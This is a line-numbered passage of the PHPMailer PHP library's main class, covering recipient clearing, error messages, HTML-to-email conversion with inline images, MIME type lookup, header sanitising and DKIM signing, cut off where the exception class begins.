  3487.         foreach ($this->bcc as $bcc) {
  3488.             unset($this->all_recipients[strtolower($bcc[0])]);
  3489.         }
  3490.         $this->bcc = array();
  3491.         $this->clearQueuedAddresses('bcc');
  3492.     }
  3493.  
  3494.     /**
  3495.      * Clear all ReplyTo recipients.
  3496.      * @return void
  3497.      */
  3498.     public function clearReplyTos()
  3499.     {
  3500.         $this->ReplyTo = array();
  3501.         $this->ReplyToQueue = array();
  3502.     }
  3503.  
  3504.     /**
  3505.      * Clear all recipient types.
  3506.      * @return void
  3507.      */
  3508.     public function clearAllRecipients()
  3509.     {
  3510.         $this->to = array();
  3511.         $this->cc = array();
  3512.         $this->bcc = array();
  3513.         $this->all_recipients = array();
  3514.         $this->RecipientsQueue = array();
  3515.     }
  3516.  
  3517.     /**
  3518.      * Clear all filesystem, string, and binary attachments.
  3519.      * @return void
  3520.      */
  3521.     public function clearAttachments()
  3522.     {
  3523.         $this->attachment = array();
  3524.     }
  3525.  
  3526.     /**
  3527.      * Clear all custom headers.
  3528.      * @return void
  3529.      */
  3530.     public function clearCustomHeaders()
  3531.     {
  3532.         $this->CustomHeader = array();
  3533.     }
  3534.  
  3535.     /**
  3536.      * Add an error message to the error container.
  3537.      * @access protected
  3538.      * @param string $msg
  3539.      * @return void
  3540.      */
  3541.     protected function setError($msg)
  3542.     {
  3543.         $this->error_count++;
  3544.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3545.             $lasterror = $this->smtp->getError();
  3546.             if (!empty($lasterror['error'])) {
  3547.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3548.                 if (!empty($lasterror['detail'])) {
  3549.                     $msg .= ' Detail: '. $lasterror['detail'];
  3550.                 }
  3551.                 if (!empty($lasterror['smtp_code'])) {
  3552.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3553.                 }
  3554.                 if (!empty($lasterror['smtp_code_ex'])) {
  3555.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3556.                 }
  3557.             }
  3558.         }
  3559.         $this->ErrorInfo = $msg;
  3560.     }
  3561.  
  3562.     /**
  3563.      * Return an RFC 822 formatted date.
  3564.      * @access public
  3565.      * @return string
  3566.      * @static
  3567.      */
  3568.     public static function rfcDate()
  3569.     {
  3570.         // Set the time zone to whatever the default is to avoid 500 errors
  3571.         // Will default to UTC if it's not set properly in php.ini
  3572.         date_default_timezone_set(@date_default_timezone_get());
  3573.         return date('D, j M Y H:i:s O');
  3574.     }
  3575.  
  3576.     /**
  3577.      * Get the server hostname.
  3578.      * Returns 'localhost.localdomain' if unknown.
  3579.      * @access protected
  3580.      * @return string
  3581.      */
  3582.     protected function serverHostname()
  3583.     {
  3584.         $result = 'localhost.localdomain';
  3585.         if (!empty($this->Hostname)) {
  3586.             $result = $this->Hostname;
  3587.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3588.             $result = $_SERVER['SERVER_NAME'];
  3589.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  3590.             $result = gethostname();
  3591.         } elseif (php_uname('n') !== false) {
  3592.             $result = php_uname('n');
  3593.         }
  3594.         return $result;
  3595.     }
  3596.  
  3597.     /**
  3598.      * Get an error message in the current language.
  3599.      * @access protected
  3600.      * @param string $key
  3601.      * @return string
  3602.      */
  3603.     protected function lang($key)
  3604.     {
  3605.         if (count($this->language) < 1) {
  3606.             $this->setLanguage('en'); // set the default language
  3607.         }
  3608.  
  3609.         if (array_key_exists($key, $this->language)) {
  3610.             if ($key == 'smtp_connect_failed') {
  3611.                 //Include a link to troubleshooting docs on SMTP connection failure
  3612.                 //this is by far the biggest cause of support questions
  3613.                 //but it's usually not PHPMailer's fault.
  3614.                 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3615.             }
  3616.             return $this->language[$key];
  3617.         } else {
  3618.             //Return the key as a fallback
  3619.             return $key;
  3620.         }
  3621.     }
  3622.  
  3623.     /**
  3624.      * Check if an error occurred.
  3625.      * @access public
  3626.      * @return boolean True if an error did occur.
  3627.      */
  3628.     public function isError()
  3629.     {
  3630.         return ($this->error_count > 0);
  3631.     }
  3632.  
  3633.     /**
  3634.      * Ensure consistent line endings in a string.
  3635.      * Changes every end of line from CRLF, CR or LF to $this->LE.
  3636.      * @access public
  3637.      * @param string $str String to fixEOL
  3638.      * @return string
  3639.      */
  3640.     public function fixEOL($str)
  3641.     {
  3642.         // Normalise to \n
  3643.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3644.         // Now convert LE as needed
  3645.         if ($this->LE !== "\n") {
  3646.             $nstr = str_replace("\n", $this->LE, $nstr);
  3647.         }
  3648.         return $nstr;
  3649.     }
  3650.  
  3651.     /**
  3652.      * Add a custom header.
  3653.      * $name value can be overloaded to contain
  3654.      * both header name and value (name:value)
  3655.      * @access public
  3656.      * @param string $name Custom header name
  3657.      * @param string $value Header value
  3658.      * @return void
  3659.      */
  3660.     public function addCustomHeader($name, $value = null)
  3661.     {
  3662.         if ($value === null) {
  3663.             // Value passed in as name:value
  3664.             $this->CustomHeader[] = explode(':', $name, 2);
  3665.         } else {
  3666.             $this->CustomHeader[] = array($name, $value);
  3667.         }
  3668.     }
  3669.  
  3670.     /**
  3671.      * Returns all custom headers.
  3672.      * @return array
  3673.      */
  3674.     public function getCustomHeaders()
  3675.     {
  3676.         return $this->CustomHeader;
  3677.     }
  3678.  
  3679.     /**
  3680.      * Create a message body from an HTML string.
  3681.      * Automatically inlines images and creates a plain-text version by converting the HTML,
  3682.      * overwriting any existing values in Body and AltBody.
  3683.      * Do not source $message content from user input!
  3684.      * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
  3685.      * will look for an image file in $basedir/images/a.png and convert it to inline.
  3686.      * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
  3687.      * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
  3688.      * @access public
  3689.      * @param string $message HTML message string
  3690.      * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
  3691.      * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3692.      *    or your own custom converter @see PHPMailer::html2text()
  3693.      * @return string $message The transformed message Body
  3694.      */
  3695.     public function msgHTML($message, $basedir = '', $advanced = false)
  3696.     {
  3697.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3698.         if (array_key_exists(2, $images)) {
  3699.             if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3700.                 // Ensure $basedir has a trailing /
  3701.                 $basedir .= '/';
  3702.             }
  3703.             foreach ($images[2] as $imgindex => $url) {
  3704.                 // Convert data URIs into embedded images
  3705.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3706.                     $data = substr($url, strpos($url, ','));
  3707.                     if ($match[2]) {
  3708.                         $data = base64_decode($data);
  3709.                     } else {
  3710.                         $data = rawurldecode($data);
  3711.                     }
  3712.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3713.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3714.                         $message = str_replace(
  3715.                             $images[0][$imgindex],
  3716.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3717.                             $message
  3718.                         );
  3719.                     }
  3720.                     continue;
  3721.                 }
  3722.                 if (
  3723.                     // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
  3724.                     !empty($basedir)
  3725.                     // Ignore URLs containing parent dir traversal (..)
  3726.                     && (strpos($url, '..') === false)
  3727.                     // Do not change urls that are already inline images
  3728.                     && substr($url, 0, 4) !== 'cid:'
  3729.                     // Do not change absolute URLs, including anonymous protocol
  3730.                     && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
  3731.                 ) {
  3732.                     $filename = basename($url);
  3733.                     $directory = dirname($url);
  3734.                     if ($directory == '.') {
  3735.                         $directory = '';
  3736.                     }
  3737.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3738.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3739.                         $directory .= '/';
  3740.                     }
  3741.                     if ($this->addEmbeddedImage(
  3742.                         $basedir . $directory . $filename,
  3743.                         $cid,
  3744.                         $filename,
  3745.                         'base64',
  3746.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3747.                     )
  3748.                     ) {
  3749.                         $message = preg_replace(
  3750.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3751.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3752.                             $message
  3753.                         );
  3754.                     }
  3755.                 }
  3756.             }
  3757.         }
  3758.         $this->isHTML(true);
  3759.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3760.         $this->Body = $this->normalizeBreaks($message);
  3761.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3762.         if (!$this->alternativeExists()) {
  3763.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3764.                 self::CRLF . self::CRLF;
  3765.         }
  3766.         return $this->Body;
  3767.     }
  3768.  
  3769.     /**
  3770.      * Convert an HTML string into plain text.
  3771.      * This is used by msgHTML().
  3772.      * Note - older versions of this function used a bundled advanced converter
  3773.      * which was been removed for license reasons in #232.
  3774.      * Example usage:
  3775.      * <code>
  3776.      * // Use default conversion
  3777.      * $plain = $mail->html2text($html);
  3778.      * // Use your own custom converter
  3779.      * $plain = $mail->html2text($html, function($html) {
  3780.      *     $converter = new MyHtml2text($html);
  3781.      *     return $converter->get_text();
  3782.      * });
  3783.      * </code>
  3784.      * @param string $html The HTML text to convert
  3785.      * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3786.      *   or provide your own callable for custom conversion.
  3787.      * @return string
  3788.      */
  3789.     public function html2text($html, $advanced = false)
  3790.     {
  3791.         if (is_callable($advanced)) {
  3792.             return call_user_func($advanced, $html);
  3793.         }
  3794.         return html_entity_decode(
  3795.             trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3796.             ENT_QUOTES,
  3797.             $this->CharSet
  3798.         );
  3799.     }
  3800.  
  3801.     /**
  3802.      * Get the MIME type for a file extension.
  3803.      * @param string $ext File extension
  3804.      * @access public
  3805.      * @return string MIME type of file.
  3806.      * @static
  3807.      */
  3808.     public static function _mime_types($ext = '')
  3809.     {
  3810.         $mimes = array(
  3811.             'xl'    => 'application/excel',
  3812.             'js'    => 'application/javascript',
  3813.             'hqx'   => 'application/mac-binhex40',
  3814.             'cpt'   => 'application/mac-compactpro',
  3815.             'bin'   => 'application/macbinary',
  3816.             'doc'   => 'application/msword',
  3817.             'word'  => 'application/msword',
  3818.             'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3819.             'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3820.             'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3821.             'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3822.             'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3823.             'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3824.             'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3825.             'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3826.             'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3827.             'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3828.             'class' => 'application/octet-stream',
  3829.             'dll'   => 'application/octet-stream',
  3830.             'dms'   => 'application/octet-stream',
  3831.             'exe'   => 'application/octet-stream',
  3832.             'lha'   => 'application/octet-stream',
  3833.             'lzh'   => 'application/octet-stream',
  3834.             'psd'   => 'application/octet-stream',
  3835.             'sea'   => 'application/octet-stream',
  3836.             'so'    => 'application/octet-stream',
  3837.             'oda'   => 'application/oda',
  3838.             'pdf'   => 'application/pdf',
  3839.             'ai'    => 'application/postscript',
  3840.             'eps'   => 'application/postscript',
  3841.             'ps'    => 'application/postscript',
  3842.             'smi'   => 'application/smil',
  3843.             'smil'  => 'application/smil',
  3844.             'mif'   => 'application/vnd.mif',
  3845.             'xls'   => 'application/vnd.ms-excel',
  3846.             'ppt'   => 'application/vnd.ms-powerpoint',
  3847.             'wbxml' => 'application/vnd.wap.wbxml',
  3848.             'wmlc'  => 'application/vnd.wap.wmlc',
  3849.             'dcr'   => 'application/x-director',
  3850.             'dir'   => 'application/x-director',
  3851.             'dxr'   => 'application/x-director',
  3852.             'dvi'   => 'application/x-dvi',
  3853.             'gtar'  => 'application/x-gtar',
  3854.             'php3'  => 'application/x-httpd-php',
  3855.             'php4'  => 'application/x-httpd-php',
  3856.             'php'   => 'application/x-httpd-php',
  3857.             'phtml' => 'application/x-httpd-php',
  3858.             'phps'  => 'application/x-httpd-php-source',
  3859.             'swf'   => 'application/x-shockwave-flash',
  3860.             'sit'   => 'application/x-stuffit',
  3861.             'tar'   => 'application/x-tar',
  3862.             'tgz'   => 'application/x-tar',
  3863.             'xht'   => 'application/xhtml+xml',
  3864.             'xhtml' => 'application/xhtml+xml',
  3865.             'zip'   => 'application/zip',
  3866.             'mid'   => 'audio/midi',
  3867.             'midi'  => 'audio/midi',
  3868.             'mp2'   => 'audio/mpeg',
  3869.             'mp3'   => 'audio/mpeg',
  3870.             'mpga'  => 'audio/mpeg',
  3871.             'aif'   => 'audio/x-aiff',
  3872.             'aifc'  => 'audio/x-aiff',
  3873.             'aiff'  => 'audio/x-aiff',
  3874.             'ram'   => 'audio/x-pn-realaudio',
  3875.             'rm'    => 'audio/x-pn-realaudio',
  3876.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  3877.             'ra'    => 'audio/x-realaudio',
  3878.             'wav'   => 'audio/x-wav',
  3879.             'bmp'   => 'image/bmp',
  3880.             'gif'   => 'image/gif',
  3881.             'jpeg'  => 'image/jpeg',
  3882.             'jpe'   => 'image/jpeg',
  3883.             'jpg'   => 'image/jpeg',
  3884.             'png'   => 'image/png',
  3885.             'tiff'  => 'image/tiff',
  3886.             'tif'   => 'image/tiff',
  3887.             'eml'   => 'message/rfc822',
  3888.             'css'   => 'text/css',
  3889.             'html'  => 'text/html',
  3890.             'htm'   => 'text/html',
  3891.             'shtml' => 'text/html',
  3892.             'log'   => 'text/plain',
  3893.             'text'  => 'text/plain',
  3894.             'txt'   => 'text/plain',
  3895.             'rtx'   => 'text/richtext',
  3896.             'rtf'   => 'text/rtf',
  3897.             'vcf'   => 'text/vcard',
  3898.             'vcard' => 'text/vcard',
  3899.             'xml'   => 'text/xml',
  3900.             'xsl'   => 'text/xml',
  3901.             'mpeg'  => 'video/mpeg',
  3902.             'mpe'   => 'video/mpeg',
  3903.             'mpg'   => 'video/mpeg',
  3904.             'mov'   => 'video/quicktime',
  3905.             'qt'    => 'video/quicktime',
  3906.             'rv'    => 'video/vnd.rn-realvideo',
  3907.             'avi'   => 'video/x-msvideo',
  3908.             'movie' => 'video/x-sgi-movie'
  3909.         );
  3910.         if (array_key_exists(strtolower($ext), $mimes)) {
  3911.             return $mimes[strtolower($ext)];
  3912.         }
  3913.         return 'application/octet-stream';
  3914.     }
  3915.  
  3916.     /**
  3917.      * Map a file name to a MIME type.
  3918.      * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3919.      * @param string $filename A file name or full path, does not need to exist as a file
  3920.      * @return string
  3921.      * @static
  3922.      */
  3923.     public static function filenameToType($filename)
  3924.     {
  3925.         // In case the path is a URL, strip any query string before getting extension
  3926.         $qpos = strpos($filename, '?');
  3927.         if (false !== $qpos) {
  3928.             $filename = substr($filename, 0, $qpos);
  3929.         }
  3930.         $pathinfo = self::mb_pathinfo($filename);
  3931.         return self::_mime_types($pathinfo['extension']);
  3932.     }
  3933.  
  3934.     /**
  3935.      * Multi-byte-safe pathinfo replacement.
  3936.      * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3937.      * Works similarly to the one in PHP >= 5.2.0
  3938.      * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3939.      * @param string $path A filename or path, does not need to exist as a file
  3940.      * @param integer|string $options Either a PATHINFO_* constant,
  3941.      *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3942.      * @return string|array
  3943.      * @static
  3944.      */
  3945.     public static function mb_pathinfo($path, $options = null)
  3946.     {
  3947.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3948.         $pathinfo = array();
  3949.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3950.             if (array_key_exists(1, $pathinfo)) {
  3951.                 $ret['dirname'] = $pathinfo[1];
  3952.             }
  3953.             if (array_key_exists(2, $pathinfo)) {
  3954.                 $ret['basename'] = $pathinfo[2];
  3955.             }
  3956.             if (array_key_exists(5, $pathinfo)) {
  3957.                 $ret['extension'] = $pathinfo[5];
  3958.             }
  3959.             if (array_key_exists(3, $pathinfo)) {
  3960.                 $ret['filename'] = $pathinfo[3];
  3961.             }
  3962.         }
  3963.         switch ($options) {
  3964.             case PATHINFO_DIRNAME:
  3965.             case 'dirname':
  3966.                 return $ret['dirname'];
  3967.             case PATHINFO_BASENAME:
  3968.             case 'basename':
  3969.                 return $ret['basename'];
  3970.             case PATHINFO_EXTENSION:
  3971.             case 'extension':
  3972.                 return $ret['extension'];
  3973.             case PATHINFO_FILENAME:
  3974.             case 'filename':
  3975.                 return $ret['filename'];
  3976.             default:
  3977.                 return $ret;
  3978.         }
  3979.     }
  3980.  
  3981.     /**
  3982.      * Set or reset instance properties.
  3983.      * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3984.      * harder to debug than setting properties directly.
  3985.      * Usage Example:
  3986.      * `$mail->set('SMTPSecure', 'tls');`
  3987.      *   is the same as:
  3988.      * `$mail->SMTPSecure = 'tls';`
  3989.      * @access public
  3990.      * @param string $name The property name to set
  3991.      * @param mixed $value The value to set the property to
  3992.      * @return boolean
  3993.      * @TODO Should this not be using the __set() magic function?
  3994.      */
  3995.     public function set($name, $value = '')
  3996.     {
  3997.         if (property_exists($this, $name)) {
  3998.             $this->$name = $value;
  3999.             return true;
  4000.         } else {
  4001.             $this->setError($this->lang('variable_set') . $name);
  4002.             return false;
  4003.         }
  4004.     }
  4005.  
  4006.     /**
  4007.      * Strip newlines to prevent header injection.
  4008.      * @access public
  4009.      * @param string $str
  4010.      * @return string
  4011.      */
  4012.     public function secureHeader($str)
  4013.     {
  4014.         return trim(str_replace(array("\r", "\n"), '', $str));
  4015.     }
  4016.  
  4017.     /**
  4018.      * Normalize line breaks in a string.
  4019.      * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  4020.      * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  4021.      * @param string $text
  4022.      * @param string $breaktype What kind of line break to use, defaults to CRLF
  4023.      * @return string
  4024.      * @access public
  4025.      * @static
  4026.      */
  4027.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  4028.     {
  4029.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  4030.     }
  4031.  
  4032.     /**
  4033.      * Set the public and private key files and password for S/MIME signing.
  4034.      * @access public
  4035.      * @param string $cert_filename
  4036.      * @param string $key_filename
  4037.      * @param string $key_pass Password for private key
  4038.      * @param string $extracerts_filename Optional path to chain certificate
  4039.      */
  4040.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  4041.     {
  4042.         $this->sign_cert_file = $cert_filename;
  4043.         $this->sign_key_file = $key_filename;
  4044.         $this->sign_key_pass = $key_pass;
  4045.         $this->sign_extracerts_file = $extracerts_filename;
  4046.     }
  4047.  
  4048.     /**
  4049.      * Quoted-Printable-encode a DKIM header.
  4050.      * @access public
  4051.      * @param string $txt
  4052.      * @return string
  4053.      */
  4054.     public function DKIM_QP($txt)
  4055.     {
  4056.         $line = '';
  4057.         for ($i = 0; $i < strlen($txt); $i++) {
  4058.             $ord = ord($txt[$i]);
  4059.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  4060.                 $line .= $txt[$i];
  4061.             } else {
  4062.                 $line .= '=' . sprintf('%02X', $ord);
  4063.             }
  4064.         }
  4065.         return $line;
  4066.     }
  4067.  
  4068.     /**
  4069.      * Generate a DKIM signature.
  4070.      * @access public
  4071.      * @param string $signHeader
  4072.      * @throws phpmailerException
  4073.      * @return string The DKIM signature value
  4074.      */
  4075.     public function DKIM_Sign($signHeader)
  4076.     {
  4077.         if (!defined('PKCS7_TEXT')) {
  4078.             if ($this->exceptions) {
  4079.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  4080.             }
  4081.             return '';
  4082.         }
  4083.         $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
  4084.         if ('' != $this->DKIM_passphrase) {
  4085.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  4086.         } else {
  4087.             $privKey = openssl_pkey_get_private($privKeyStr);
  4088.         }
  4089.         //Workaround for missing digest algorithms in old PHP & OpenSSL versions
  4090.         //@link http://stackoverflow.com/a/11117338/333340
  4091.         if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
  4092.             in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
  4093.             if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
  4094.                 openssl_pkey_free($privKey);
  4095.                 return base64_encode($signature);
  4096.             }
  4097.         } else {
  4098.             $pinfo = openssl_pkey_get_details($privKey);
  4099.             $hash = hash('sha256', $signHeader);
  4100.             //'Magic' constant for SHA256 from RFC3447
  4101.             //@link https://tools.ietf.org/html/rfc3447#page-43
  4102.             $t = '3031300d060960864801650304020105000420' . $hash;
  4103.             $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
  4104.             $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
  4105.  
  4106.             if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
  4107.                 openssl_pkey_free($privKey);
  4108.                 return base64_encode($signature);
  4109.             }
  4110.         }
  4111.         openssl_pkey_free($privKey);
  4112.         return '';
  4113.     }
  4114.  
  4115.     /**
  4116.      * Generate a DKIM canonicalization header.
  4117.      * @access public
  4118.      * @param string $signHeader Header
  4119.      * @return string
  4120.      */
  4121.     public function DKIM_HeaderC($signHeader)
  4122.     {
  4123.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  4124.         $lines = explode("\r\n", $signHeader);
  4125.         foreach ($lines as $key => $line) {
  4126.             list($heading, $value) = explode(':', $line, 2);
  4127.             $heading = strtolower($heading);
  4128.             $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
  4129.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  4130.         }
  4131.         $signHeader = implode("\r\n", $lines);
  4132.         return $signHeader;
  4133.     }
  4134.  
  4135.     /**
  4136.      * Generate a DKIM canonicalization body.
  4137.      * @access public
  4138.      * @param string $body Message Body
  4139.      * @return string
  4140.      */
  4141.     public function DKIM_BodyC($body)
  4142.     {
  4143.         if ($body == '') {
  4144.             return "\r\n";
  4145.         }
  4146.         // stabilize line endings
  4147.         $body = str_replace("\r\n", "\n", $body);
  4148.         $body = str_replace("\n", "\r\n", $body);
  4149.         // END stabilize line endings
  4150.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  4151.             $body = substr($body, 0, strlen($body) - 2);
  4152.         }
  4153.         return $body;
  4154.     }
  4155.  
  4156.     /**
  4157.      * Create the DKIM header and body in a new message header.
  4158.      * @access public
  4159.      * @param string $headers_line Header lines
  4160.      * @param string $subject Subject
  4161.      * @param string $body Body
  4162.      * @return string
  4163.      */
  4164.     public function DKIM_Add($headers_line, $subject, $body)
  4165.     {
  4166.         $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
  4167.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  4168.         $DKIMquery = 'dns/txt'; // Query method
  4169.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  4170.         $subject_header = "Subject: $subject";
  4171.         $headers = explode($this->LE, $headers_line);
  4172.         $from_header = '';
  4173.         $to_header = '';
  4174.         $date_header = '';
  4175.         $current = '';
  4176.         foreach ($headers as $header) {
  4177.             if (strpos($header, 'From:') === 0) {
  4178.                 $from_header = $header;
  4179.                 $current = 'from_header';
  4180.             } elseif (strpos($header, 'To:') === 0) {
  4181.                 $to_header = $header;
  4182.                 $current = 'to_header';
  4183.             } elseif (strpos($header, 'Date:') === 0) {
  4184.                 $date_header = $header;
  4185.                 $current = 'date_header';
  4186.             } else {
  4187.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  4188.                     $$current .= $header;
  4189.                 } else {
  4190.                     $current = '';
  4191.                 }
  4192.             }
  4193.         }
  4194.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  4195.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  4196.         $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
  4197.         $subject = str_replace(
  4198.             '|',
  4199.             '=7C',
  4200.             $this->DKIM_QP($subject_header)
  4201.         ); // Copied header fields (dkim-quoted-printable)
  4202.         $body = $this->DKIM_BodyC($body);
  4203.         $DKIMlen = strlen($body); // Length of body
  4204.         $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
  4205.         if ('' == $this->DKIM_identity) {
  4206.             $ident = '';
  4207.         } else {
  4208.             $ident = ' i=' . $this->DKIM_identity . ';';
  4209.         }
  4210.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  4211.             $DKIMsignatureType . '; q=' .
  4212.             $DKIMquery . '; l=' .
  4213.             $DKIMlen . '; s=' .
  4214.             $this->DKIM_selector .
  4215.             ";\r\n" .
  4216.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  4217.             "\th=From:To:Date:Subject;\r\n" .
  4218.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  4219.             "\tz=$from\r\n" .
  4220.             "\t|$to\r\n" .
  4221.             "\t|$date\r\n" .
  4222.             "\t|$subject;\r\n" .
  4223.             "\tbh=" . $DKIMb64 . ";\r\n" .
  4224.             "\tb=";
  4225.         $toSign = $this->DKIM_HeaderC(
  4226.             $from_header . "\r\n" .
  4227.             $to_header . "\r\n" .
  4228.             $date_header . "\r\n" .
  4229.             $subject_header . "\r\n" .
  4230.             $dkimhdrs
  4231.         );
  4232.         $signed = $this->DKIM_Sign($toSign);
  4233.         return $dkimhdrs . $signed . "\r\n";
  4234.     }
  4235.  
  4236.     /**
  4237.      * Detect if a string contains a line longer than the maximum line length allowed.
  4238.      * @param string $str
  4239.      * @return boolean
  4240.      * @static
  4241.      */
  4242.     public static function hasLineLongerThanMax($str)
  4243.     {
  4244.         //+2 to include CRLF line break for a 1000 total
  4245.         return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  4246.     }
  4247.  
  4248.     /**
  4249.      * Allows for public read access to 'to' property.
  4250.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  4251.      * @access public
  4252.      * @return array
  4253.      */
  4254.     public function getToAddresses()
  4255.     {
  4256.         return $this->to;
  4257.     }
  4258.  
  4259.     /**
  4260.      * Allows for public read access to 'cc' property.
  4261.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  4262.      * @access public
  4263.      * @return array
  4264.      */
  4265.     public function getCcAddresses()
  4266.     {
  4267.         return $this->cc;
  4268.     }
  4269.  
  4270.     /**
  4271.      * Allows for public read access to 'bcc' property.
  4272.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  4273.      * @access public
  4274.      * @return array
  4275.      */
  4276.     public function getBccAddresses()
  4277.     {
  4278.         return $this->bcc;
  4279.     }
  4280.  
  4281.     /**
  4282.      * Allows for public read access to 'ReplyTo' property.
  4283.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  4284.      * @access public
  4285.      * @return array
  4286.      */
  4287.     public function getReplyToAddresses()
  4288.     {
  4289.         return $this->ReplyTo;
  4290.     }
  4291.  
  4292.     /**
  4293.      * Allows for public read access to 'all_recipients' property.
  4294.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  4295.      * @access public
  4296.      * @return array
  4297.      */
  4298.     public function getAllRecipientAddresses()
  4299.     {
  4300.         return $this->all_recipients;
  4301.     }
  4302.  
  4303.     /**
  4304.      * Perform a callback.
  4305.      * @param boolean $isSent
  4306.      * @param array $to
  4307.      * @param array $cc
  4308.      * @param array $bcc
  4309.      * @param string $subject
  4310.      * @param string $body
  4311.      * @param string $from
  4312.      */
  4313.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  4314.     {
  4315.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  4316.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  4317.             call_user_func_array($this->action_function, $params);
  4318.         }
  4319.     }
  4320. }
  4321.  
  4322. /**
  4323.  * PHPMailer exception handler
  4324.  * @package PHPMailer
  4325.  */
  4326. class phpmailerException extends Exception
  4327. {
  4328.     /**
